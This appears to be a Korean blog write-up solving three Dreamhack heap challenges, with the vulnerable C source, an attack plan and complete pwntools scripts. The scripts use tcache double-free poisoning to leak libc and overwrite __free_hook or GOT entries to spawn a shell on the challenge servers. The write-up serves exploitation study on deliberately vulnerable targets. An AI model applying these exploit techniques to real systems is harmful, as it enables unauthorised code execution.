[dreamhack] tcache poison

tcache poison

정보수집

canary나 PIE가 적용되어 있지 않다.
PIE가 적용되어 있지 않기 때문에 오프셋을 구하면 끝난다.

241591cd-2116-4cbb-9746-acac54278504
241591cd-2116-4cbb-9746-acac54278504

소스코드를 확인해보면 그냥 원하는대로 메모리를 할당하고, 읽고, 쓰고, 해제하는 기능이 있다. 이것만으로 쉘을 실행시켜야한다.

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}

공격

nx가 설정되어 있기 때문에 힙에 쉘코드를 올리는 것도 어렵고,
stack overflow가 없고 full RELRO이기 때문에 리턴값을 변경하거나 got를 변조하는것은 어렵다.

결국 변조해야되는 대상은 hook을 변조해야 하고, one_gadget을 사용해서 쉘을 획득하는 것이 좋아보인다.
그러려면 먼저 libc의 베이스 주소를 먼저 알아와야 한다.

  1. libc 주소 알아오기
    • printf를 한번 사용한 후 got에서 가져오고 오프셋으로 계산하면 될것이다. (이미 처음 입력받는 그 시점에도 got는 변경되어있다)
  2. tcache의 free list에 printf의 got를 강제 삽입
    • malloc으로 0x20byte 할당
    • free 해서 tcache로 보내기
    • edit 해서 free된 청크의 key 변경
    • free 해서 더블프리 상태 만들기
    • 재할당해서 변조 가능한 상태로 변경
    • LIFO 구조인데, 마지막에 들어온 청크가 맨앞에 연결되기 때문에 next에 printf의 got를 넣고 재할당하면 기존에 double free된 청크가 할당돼서 한번 더 재할당해야한다.
    • print 해서 값을 읽어온다.
    • 이 문제에서는 할당과 쓰기를 동시에 하기 때문에 got값을 사용할 수 없다.
  3. got 대신 stdout을 사용하면 된다. 라이브러리마다 다르지만, stdout도 _IO_2_1_stdout_ 를 가리키는 포인터이다.
    • 라이브러리상의 stdout 들의 오프셋
      8c8791a5-8b09-4048-85ec-b769406c004e
      8c8791a5-8b09-4048-85ec-b769406c004e
    • 런타임 중 확인해보면 stdout에 libc::stdout 이 아닌 libc::_IO_2_1_stdout_ 이 저장되어 있는것을 알 수 있다.
      162cd7fb-bedf-41d2-8ce2-65f714661ff4
      162cd7fb-bedf-41d2-8ce2-65f714661ff4
  4. 가져온 베이스로 변조할 타겟주소, 원가젯 주소를 알아온다
  5. 다른 사이즈로 다시 double free를 일으켜서 새로운 tcache를 poisoning한다.
    • 목표는 변조할 타겟 주소에 원가젯 주소를 쓰는것이며, 훅을 사용한다.
  6. free hook을 이용해서 원가젯 코드를 트리거한다.

공격코드

from pwn import *

p = process('./tcache_poison', env={"LD_PRELOAD" : "./libc-2.27.so"})
p = remote('host3.dreamhack.games', 18986)
e = ELF('./tcache_poison')
le = ELF('./libc-2.27.so')


def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

stdout_io_off = le.symbols['_IO_2_1_stdout_']
stdout_addr = e.symbols['stdout']

# 1. double free
alloc(0x30, b'data')
free()
edit(b'AAAABBBB\x00')
free()

# 2. 재할당 하면서 stdout의 주소를 데이터 영역에 쓰면 tcache에 남아있는 chunk에 stdout이 next에 쓰여진다.
alloc(0x30, p64(stdout_addr))
edit(p64(stdout_addr))
print_chunk()
print(p.recvuntil('Content: '))
tmp_saddr = u64(p.recv(6).ljust(8,b'\x00'))
print('chunk_stdout', hex(tmp_saddr))

# 늦게들어온 청크가 맨 앞에 붙는 구조이며 LIFO이기 때문에 맨 앞에서부터 재할당 된다.
alloc(0x30, b'DUMMYCNK')

# 이때 재할당을 한번 더 하면 stdout을 chunk로 하는 값을 가져오게 된다. 그 안에는 _IO_2_1_stdout_이 있다.
alloc(0x30, p64(stdout_io_off)[0:1])

print_chunk()
print(p.recvuntil('Content: '))
tmp_saddr = u64(p.recv(6).ljust(8, b'\x00'))
print('chunk_stdout', hex(tmp_saddr))

# 3. 공격에 사용되는 주소 계산
lib_base = tmp_saddr - stdout_io_off
freehook_addr = lib_base + le.symbols['__free_hook']
onegadget_addr = lib_base + 0x4f432

# 4. 새로운 tcache에 double free
alloc(0x40, b'data')
free()
edit(b'AAAABBBB\x00')
free()

# 5. freehook에 onegadget 주소 쓰기.
# 5-1. freehook을 컨트롤 할 수 있도록 청크의 next 변조
alloc(0x40, p64(freehook_addr))

# 5-2. freehook 주소 청크화. 더미 이후 두번째 할당된 chunk가 freehook의 주소를 가리킨다.
alloc(0x40, b'DUMMYCNK')
alloc(0x40, b'freehook')

# 5-3. freehook에 onegadget의 주소를 쓰고 훅 실행
edit(p64(onegadget_addr))
free()

p.interactive()

tcache_dup

이 문제는 Partial RELRO, No PIE이기 때문에 got를 사용할 수 있어서 더 쉽다.
하지만 got를 이 공격에 사용할 때 청크가 다른 값들을 수정할 수 있기 때문에 주의해야한다.

from pwn import *


p = process('./tcache_dup', env={'LD_PRELOAD': './libc-2.27.so'})
p = remote('host3.dreamhack.games', 20080)

e = ELF('./tcache_dup')
el = ELF('./libc-2.27.so')

def input_n(num):
    print("=== input : select", num, "===")
    p.recvuntil(b'\n> ')
    p.sendline(str(num).encode())

def create(size, data):
    input_n(1)
    print("=== create: size", size, "data", data, "===")
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Data: ')
    p.sendline(data)

def delete(idx):
    input_n(2)
    print("=== delete: idx", idx, "===")
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())

get_shell_addr = e.symbols['get_shell']

printf_got = e.got['printf']
printf_off = el.symbols['printf']


# 공격을 어떻게 해야할까?
# 원하는 위치에 원하는 값을 넣어야한다.
# 타겟 주소: NO PIE, Partial RELRO 이므로, printf의 got를 사용
# 1. tcache_dup 를 발생시켜서 원하는 주소를 할당
# 2.28 부터 tcache의 double free가 방지되기 시작했기 때문에 지금은 그냥 double free가 됨
create(0x30, b'data')
delete(0)
delete(0)

create(0x30, p64(printf_got))
create(0x30, b'dummy')

# 2. printf_got에 get_shell 주소 넣음
create(0x30, p64(get_shell_addr))

# 3. 공격 성공
p.interactive()

tcache_dup2

이 문제는 이상하게 dup를 만들지 않으면 공격에 실패한다. 이유를 파악하면 좋을듯

from pwn import *


p = remote('host3.dreamhack.games',23990)
e = ELF('./tcache_dup2')
el = ELF('./libc-2.30.so')


def input_n(num):
    print("=== input : select", num, "===")
    p.recvuntil(b'\n> ')
    p.sendline(str(num).encode())

def create(size, data):
    input_n(1)
    print("=== create: size", size, "data", data, "===")
    print(p.recvuntil(b'Size: '))
    p.sendline(str(size).encode())
    p.recvuntil(b'Data: ')
    p.send(data)
    print("=== END ===")

def modify(idx, size, data):
    input_n(2)
    print("=== modify: idx", idx, "size", size, "data", data, "===")
    print(p.recvuntil(b'idx: '))
    p.sendline(str(idx).encode())
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Data: ')
    p.send(data)
    print("=== END ===")

def delete(idx):
    input_n(3)
    print("=== delete: idx", idx, "===")
    print(p.recvuntil(b'idx: '))
    p.sendline(str(idx).encode())
    print("=== END ===")


get_shell_addr = e.symbols['get_shell']

printf_got = e.got['puts']

create(0x10, b'D'*0x8)
delete(0)
modify(0, 0x10, b'AAAABBBB' + b'\x00')
delete(0)

# 중복된 청크의 next에 씀. 첫번째 청크에 썼기 때문에 dup된 청크는 날아간다.
modify(0, 0x10, p64(printf_got))
# dummy 할당
create(0x10, b'D'*0x8)
# printf_got 를 가져오면서 get_shell_addr을 씀
create(0x10, p64(get_shell_addr))

p.interactive()

Comments

ESC
Type to search...